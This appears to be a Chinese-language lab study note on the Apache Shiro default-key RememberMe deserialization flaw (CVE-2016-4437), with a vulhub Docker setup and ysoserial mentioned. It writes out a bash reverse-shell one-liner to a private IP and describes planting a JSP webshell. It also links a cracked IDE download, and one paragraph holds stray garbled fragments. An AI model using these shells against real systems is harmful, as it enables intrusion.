shiro漏洞概述
Shiro提供了記住我(RememberMe)的功能,比如訪問如淘寶等一些網(wǎng)站時,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問,但是設計到一些支付等敏感操作時,可能還需要再次驗證。
而shiro默認使用了CookieRememberMeManager接口,就是rememberme功能,。
其處理cookie的流程是: 得到rememberMe的cookie值,先進行Base64解碼,再進行AES解密,最后進行反序列化。
但是shiro本身有一個預設密鑰Base64.decode(“kPH bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是這點,就導致了攻擊者可以構(gòu)造惡意數(shù)據(jù)造成反序列化的RCE漏洞。
攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發(fā)Java反序列化漏洞,進而在目標機器上執(zhí)行任意命令
漏洞影響
Apache Shiro <= 1.2.4
事實上,只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。
shell反彈
https://blog.csdn.net/qq_33020901/article/details/78600382
bash -i >&/dev/tcp/192.168.190.138/6666 0>&1
對于速食主義者,后面的內(nèi)容可以選擇忽略
| 命令 | 解釋 |
|---|---|
| bash -i | 產(chǎn)生一個交互式bash |
| >& /dev/tcp/ip/port | 建立TCP連接,并將標準輸出和錯誤重定向到TCP連接 |
| 0>&1 | 從TCP連接獲取輸入 |
java反射
1.反射機制
JAVA反射機制是在運行狀態(tài)中,對于任意一個類,都能夠知道這個類的所有屬性和方法;對于任意一個對象,都能夠調(diào)用它的任意一個方法和屬性;這種動態(tài)獲取的信息以及動態(tài)調(diào)用對象的方法的功能稱為java語言的反射機制。
反序列化bai顧名思義就是用二進duzhi的形式dao來生成文件,zhuan由于common-collections.jar幾乎在所有項目shu里都會dao被用到,所以當這個漏洞被發(fā)現(xiàn)并在這個jar包內(nèi)實現(xiàn)攻擊時,幾乎影響了一大批的項目,weblogic的中槍立刻提升了這個漏洞的等級(對weblogic不熟悉的可以百度)。
至于如何使用這個漏洞對系統(tǒng)發(fā)起攻擊,舉一個簡單的例子,我通過本地java程序?qū)⒁粋€帶有后門漏洞的jsp(一般來說這個jsp里的代碼會是文件上傳和網(wǎng)頁版的SHELL)序列化,將序列化后的二進制流發(fā)送給有這個漏洞的服務器,服務器會自動根據(jù)流反序列化的結(jié)果生成文件,然后就可以大搖大擺的直接訪問這個生成的JSP文件把服務器當后花園了
其他概念
- 認證
- 授權
- 網(wǎng)站登陸身份驗證
- Apache Shiro <=1.2.4版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。
- 攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發(fā)Java反序列化漏洞CVE-2016-4437,進而在目標機器上執(zhí)行任意命令。
其他環(huán)境準備
*idea破解版
https://www.jb51.net/softs/758790.html#downintro2
- 環(huán)境變量配置不當失效
解決 /usr/bin/vim ~/.bash_profile
其他Mac系統(tǒng)改壞.bash_profile文件解決方案
https://blog.csdn.net/weixin_42346767/article/details/103530377 - sh類型導致安裝maven jdk環(huán)境變量問題
macOS切換bash和zsh
https://blog.csdn.net/u012628581/article/details/88534491 - MAC安裝home brew
https://blog.csdn.net/yuanshangshenghuo/article/details/106599836
shiro漏洞后臺環(huán)境
docker-compose.yml
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8080:8080"
運行docker
docker-compose -f docker-compose.yml up
java序列化工具或者可以直接下載相應jar包使用
ysoserial
進到target文件路徑下,利用相關jar包來生成.ser序列化文件